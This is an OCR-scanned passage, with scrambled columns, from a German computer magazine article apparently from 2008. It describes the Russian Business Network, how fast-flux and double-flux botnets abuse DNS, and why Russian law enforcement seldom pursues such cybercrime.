dass man verstarkt in den Aus-
bau der ohnehin vorhandenen
,Zweigstelle” in Panama inves-
tierte. Auch die Turkei wird bis-
weilen als Standort fir RBN-Ser-

immer andere Bots fir die
Weiterleitung der Befehle zu-
standig sind.

Fur den Betrieb eines Fast-Flux-
Netzes muss man naturlich
eine Domain kontrollieren, also
einen DNS-Server betreiben,
der fur die Namensauflésung
der Domain .eqcom.com zu-
standig ist. Das ist im Rahmen
des RBN jedoch einfach zu be-
werkstelligen. Um noch mehr
Ausfallsicherheit zu erreichen,

vices lokalisiert. Das RBN ist also
Mitte 2008 keineswegs Geschich-
te, sondern aufgrund der neuen
Strategie lediglich wesentlich
schwerer zu entdecken.

Nach wie vor stellt sich die
Frage, warum dem Treiben mit
strafrechtlichen Mitteln kaum
beizukommen ist. An der Gesetz-
gebung kann es nicht liegen.
Das Strafgesetzbuch der russi-
schen Foderation verbietet das
Ausspdhen und Manipulieren
von Daten auf geschitzten Sys-
temen genauso wie das deut-
sche. Auch die Datenschutz- und
Antispam-Gesetzgebung ist auf
dhnlichem Stand.

Ein Ermittler, der seinen
Namen nicht genannt sehen will,
erklart es so: ,Die Polizisten in
Sankt Petersburg warten manch-
mal monatelang auf ihren Lohn,
die haben ganz andere Sorgen,
als auf die Jagd nach Cyberkrimi-
nellen zu gehen. Und so lange
RBN fast nur westliche Netznut-
zer abzockt, sind das offentliche
Interesse und der politische
Druck eher gering.”

75.46.219.187
adsl-75-46-219-187.dsl.ksc2mo.sbcglobal.net

76.232.60.93
adsl-76-232-60-93.dsl.wlfrct.sbcglobal.net

beziehen die Bot-Netz-Archi-
tekten mittlerweile sogar das
Domain Name System in dieses
Spiel mit ein. Bei Double-Flux-
Netzen sind zusatzlich auch die
fur .eqcom.com zustdndigen
Nameserver, die Anfragen nach
mymaster.eqcom.com beant-
worten, nur wechselnde, infi-
zierte Zombie-Systeme. Auch
sie beziehen ihre Informatio-
nen Uber die aktuelle Bot-Netz-
Struktur von einem Mutter-
schiff im Hintergrund.

Grundsatzlich scheint in Russ-
land die Haltung gegentber
dem, was hierzulande als hoch
kriminell eingeschatzt wird, eine
andere zu sein. Harald Summa,
Geschaftsfiihrer des deutschen
Provider-Verbands eco, berich-
tete c't jlingst von einer Reise ins
ferne Moskau: ,Wir salen da in
einer Runde mit rund 20 russi-
schen Providern und zwei Ver-
bandsvertretern. ,Wir wirden
gerne Uber die Spam-Problema-
tik reden’, sagten wir. Unsere
Gegeniiber haben uns ange-
guckt und geantwortet: ,Wieso
das denn? Spam, das ist doch
unser Geschaft!”
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